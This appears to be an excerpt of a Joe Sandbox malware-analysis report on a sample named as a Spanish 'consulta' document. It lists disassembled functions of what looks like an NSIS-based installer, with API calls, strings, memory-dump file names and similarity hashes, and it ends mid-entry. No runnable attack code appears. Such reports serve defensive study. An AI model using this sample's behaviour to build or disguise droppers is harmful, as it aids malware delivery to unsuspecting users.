SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 00404581
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404596
GetDlgItem.USER32(?,0000040A), ref: 004045EF
SendMessageW.USER32(00000000), ref: 004045F6
GetDlgItem.USER32(?,000003E8), ref: 00404621
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404664
LoadCursorW.USER32(00000000,00007F02), ref: 00404672
SetCursor.USER32(00000000), ref: 00404675
ShellExecuteW.SHELL32(0000070B,open,004281E0,00000000,00000000,?), ref: 0040468A
LoadCursorW.USER32(00000000,00007F00), ref: 00404696
SetCursor.USER32(00000000), ref: 00404699
SendMessageW.USER32(00000111,?,00000000), ref: 004046C8
SendMessageW.USER32(00000010,00000000,00000000), ref: 004046DA

Strings

open, xrefs: 00404682
C@, xrefs: 0040467F
N, xrefs: 0040460F
Call, xrefs: 00404650

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: Call$N$open$C@
API String ID: 3615053054-3980584120
Opcode ID: 20fac1330af19db95ab999e4fecb6d9798aa17533202641e6ca464adf65f76bc
Instruction ID: 5d26fd4bbf68afdbde40cdeb5130b050e05e11fe2774b22c09997c19ee455d7e
Opcode Fuzzy Hash: 20fac1330af19db95ab999e4fecb6d9798aa17533202641e6ca464adf65f76bc
Instruction Fuzzy Hash: 507193B1A00209BFDB109F60DD85E6A7B69FB85344F00843AFA41B62E0D77D9961DF68

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,?), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429240,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 709e975422cda7ccbb1a7a25ffea5b6ea87087be701c8afe7ff27c60fd663942
Instruction ID: fbc3582f0be17511ef24b6208279bd62f68a22b1f89f17edcf88e24f0ff4dafb
Opcode Fuzzy Hash: 709e975422cda7ccbb1a7a25ffea5b6ea87087be701c8afe7ff27c60fd663942
Instruction Fuzzy Hash: 8E418A71800209AFCF058F95DE459AFBBB9FF44310F00842EF991AA1A0C738EA55DFA4

Function 00405F41 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00426DC8,NUL,?,00000000,?,?,004060D4,?,?), ref: 00405F50
CloseHandle.KERNEL32(00000000,?,00000000,?,?,?,004060D4,?,?), ref: 00405F74
GetShortPathNameW.KERNEL32(?,00426DC8,00000400), ref: 00405F7D

Part of subcall function 00405D4C: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,0040602D,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D5C
Part of subcall function 00405D4C: lstrlenA.KERNEL32(00000000,?,00000000,0040602D,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D8E

GetShortPathNameW.KERNEL32(004275C8,004275C8,00000400), ref: 00405F9A
wsprintfA.USER32 ref: 00405FB8
GetFileSize.KERNEL32(00000000,00000000,004275C8,C0000000,00000004,004275C8,?,?,?,?,?), ref: 00405FF3
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406002
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 0040603A
SetFilePointer.KERNEL32(0040A588,00000000,00000000,00000000,00000000,004269C8,00000000,-0000000A,0040A588,00000000,[Rename],00000000,00000000,00000000), ref: 00406090
GlobalFree.KERNEL32(00000000), ref: 004060A1
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004060A8

Part of subcall function 00405DE7: GetFileAttributesW.KERNELBASE(00000003,00402F18,C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe,80000000,00000003), ref: 00405DEB
Part of subcall function 00405DE7: CreateFileW.KERNELBASE(?,?,?,00000000,?,00000001,00000000), ref: 00405E0D

Strings

[Rename], xrefs: 00406022, 00406034
NUL, xrefs: 00405F4A
%ls=%ls, xrefs: 00405FAE

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %ls=%ls$NUL$[Rename]
API String ID: 222337774-899692902
Opcode ID: b79c81f05b1b833d126071e3cf8f1dbc038624686787cc5f02dad872694d8803
Instruction ID: 33b5be0cf5b447351be1faad876236776c79ee828f4547529858959512194336
Opcode Fuzzy Hash: b79c81f05b1b833d126071e3cf8f1dbc038624686787cc5f02dad872694d8803
Instruction Fuzzy Hash: 6F3126702407147FC220AB219D09F6B3A9CEF45798F16003BF942F62D2DA7CD8218ABD

Function 004064A6 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,758E3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe",00403425,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403672), ref: 00406509
CharNextW.USER32(?,?,?,00000000), ref: 00406518
CharNextW.USER32(?,00000000,758E3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe",00403425,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403672), ref: 0040651D
CharPrevW.USER32(?,?,758E3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe",00403425,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403672), ref: 00406530

Strings

*?|<>/":, xrefs: 004064F8
"C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe", xrefs: 004064A6
C:\Users\user\AppData\Local\Temp\, xrefs: 004064A7

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-609424192
Opcode ID: 3235da6fa7aa45e9bf0ecdfd9fa5d30a804d535f67a6192059b6605710e04147
Instruction ID: 798f9d5398cbdb919d0ccd284a00eb8243013f3251525297edaf214bcc17b89f
Opcode Fuzzy Hash: 3235da6fa7aa45e9bf0ecdfd9fa5d30a804d535f67a6192059b6605710e04147
Instruction Fuzzy Hash: 30110815801612A5D7307B149C40AB776E8EFA5764F52803FEC8A733C5E77C5CA286AD

Function 0040433D Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040435A
GetSysColor.USER32(00000000), ref: 00404376
SetTextColor.GDI32(?,00000000), ref: 00404382
SetBkMode.GDI32(?,?), ref: 0040438E
GetSysColor.USER32(?), ref: 004043A1
SetBkColor.GDI32(?,?), ref: 004043B1
DeleteObject.GDI32(?), ref: 004043CB
CreateBrushIndirect.GDI32(?), ref: 004043D5

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: c443cadc41ebc586ff1270cf4c3a90a0d5c0685d314312a93ad56e7471fbb8ef
Instruction ID: f1e38b434243e48c2b46a4a8fcf45a1f38fac15713e13bd475e5664ee3236b4b
Opcode Fuzzy Hash: c443cadc41ebc586ff1270cf4c3a90a0d5c0685d314312a93ad56e7471fbb8ef
Instruction Fuzzy Hash: F0215171600704ABCB219F68DD48B5BBBF8AF41714F04892DEDD5E26E0D778E904CB54

Function 00402E33 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402E4E
GetTickCount.KERNEL32 ref: 00402E6C
wsprintfW.USER32 ref: 00402E9A

Part of subcall function 00405371: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EAD,00000000,?), ref: 004053A9
Part of subcall function 00405371: lstrlenW.KERNEL32(00402EAD,Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EAD,00000000), ref: 004053B9
Part of subcall function 00405371: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll,00402EAD,00402EAD,Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll,00000000,00000000,00000000), ref: 004053CC
Part of subcall function 00405371: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll), ref: 004053DE
Part of subcall function 00405371: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405404
Part of subcall function 00405371: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040541E
Part of subcall function 00405371: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040542C

CreateDialogParamW.USER32(0000006F,00000000,00402D98,00000000), ref: 00402EBE
ShowWindow.USER32(00000000,00000005), ref: 00402ECC

Part of subcall function 00402E17: MulDiv.KERNEL32(0004218B,00000064,00043FCA), ref: 00402E2C

Strings

... %d%%, xrefs: 00402E94

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 68327632d04469364c1974b45a761d3b68d751ecd12d8829f1a69e2ac19d740d
Instruction ID: 8dd11ec53df0ba6bdd92dbd1cf8f77c56262218af4b431f1c1abafb00f700e94
Opcode Fuzzy Hash: 68327632d04469364c1974b45a761d3b68d751ecd12d8829f1a69e2ac19d740d
Instruction Fuzzy Hash: FB016570541614DBC7216B50EE0DA9B7B58AB00B45B14413FF941F12D1DBF844A58BEE

Function 00404C3B Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404C56
GetMessagePos.USER32 ref: 00404C5E
ScreenToClient.USER32(?,?), ref: 00404C78
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404C8A
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404CB0

Strings

f, xrefs: 00404C8C

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 0086211f2de0e1ca33d279ef662edcfa4b2f35d2ca496e99dd6aa4820b9c6f7a
Instruction ID: 3ec40d72beee944c7b32a6f5f5203a90e51618c2e0ef94a62ef03edc632050ca
Opcode Fuzzy Hash: 0086211f2de0e1ca33d279ef662edcfa4b2f35d2ca496e99dd6aa4820b9c6f7a
Instruction Fuzzy Hash: 88015271901218BAEB10DF94DD45FFEBBBCAF58711F10012BBA51B61C0C7B499018B95

Function 00402D98 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,000000FA,00000000), ref: 00402DB6
wsprintfW.USER32 ref: 00402DEA
SetWindowTextW.USER32(?,?), ref: 00402DFA
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E0C

Strings

verifying installer: %d%%, xrefs: 00402DDF, 00402DE8
unpacking data: %d%%, xrefs: 00402DD8

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: f920e2d473a8442ab140d7cb001c2dea54e1cd42605ecc10fb631262ba466dce
Instruction ID: 5b31381c318dcc107e486aeb82f0cbc8ffe93b2faae57e60c2f54a212ea49e40
Opcode Fuzzy Hash: f920e2d473a8442ab140d7cb001c2dea54e1cd42605ecc10fb631262ba466dce
Instruction Fuzzy Hash: 53F0367154020CABDF245F50DD49BEA3B69FB44304F00803AFA05B51D0DBB959658B99

Function 100022D0 Relevance: 9.1, APIs: 6, Instructions: 136memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 10002416

Part of subcall function 1000122C: lstrcpynW.KERNEL32(00000000,?,100012DF,00000019,100011BE,-000000A0), ref: 1000123C

GlobalAlloc.KERNEL32(00000040), ref: 10002397
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 100023B2

Memory Dump Source

Source File: 00000000.00000002.2987306905.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2987274852.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2987339691.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2987366231.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: 3b2da28fc6c9bb4151d71d136a2166c584fe2e1793c0aa67a83c17282771645f
Instruction ID: a8798eece1b67337def5fc6f06e905ed3cc6fca3e5836deafc22007a072d802d
Opcode Fuzzy Hash: 3b2da28fc6c9bb4151d71d136a2166c584fe2e1793c0aa67a83c17282771645f
Instruction Fuzzy Hash: A14190B1508305EFF320DF24D885AAA77F8FB883D0F50452DF9468619ADB34AA54DB61

Function 100024A9 Relevance: 9.1, APIs: 6, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNELBASE(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

GlobalFree.KERNEL32(?), ref: 10002572
GlobalFree.KERNEL32(00000000), ref: 100025AD

Memory Dump Source

Source File: 00000000.00000002.2987306905.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2987274852.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2987339691.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2987366231.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: a621a955531d0e661206b23193f22b54096652e1fd49661ebc4a0141683b6ddb
Instruction ID: 76257f5bf6759f365bfcd452de7d39bb0b2322773c3eba187a8a795e141f7608
Opcode Fuzzy Hash: a621a955531d0e661206b23193f22b54096652e1fd49661ebc4a0141683b6ddb
Instruction Fuzzy Hash: 6831DE71504A21EFF321CF14CCA8E2B7BF8FB853D2F114529FA40961A8CB319851DB69

Function 004028C3 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402917
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 00402933
GlobalFree.KERNEL32(?), ref: 0040296C
GlobalFree.KERNEL32(00000000), ref: 0040297F
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402997
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 004029AB

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 364cdaa611351f703cd1bca6674fb989e6e16abe5aa745253ea670e3687e1c0d
Instruction ID: 8996c306b55a9cd0cf00445349fd93af405541c9de08eca1dd931963291c836b
Opcode Fuzzy Hash: 364cdaa611351f703cd1bca6674fb989e6e16abe5aa745253ea670e3687e1c0d
Instruction Fuzzy Hash: C221BF71800124BBDF116FA5CE49D9E7E79EF09364F10423EF8507A2E0CB794D418B98

Function 00404B2D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

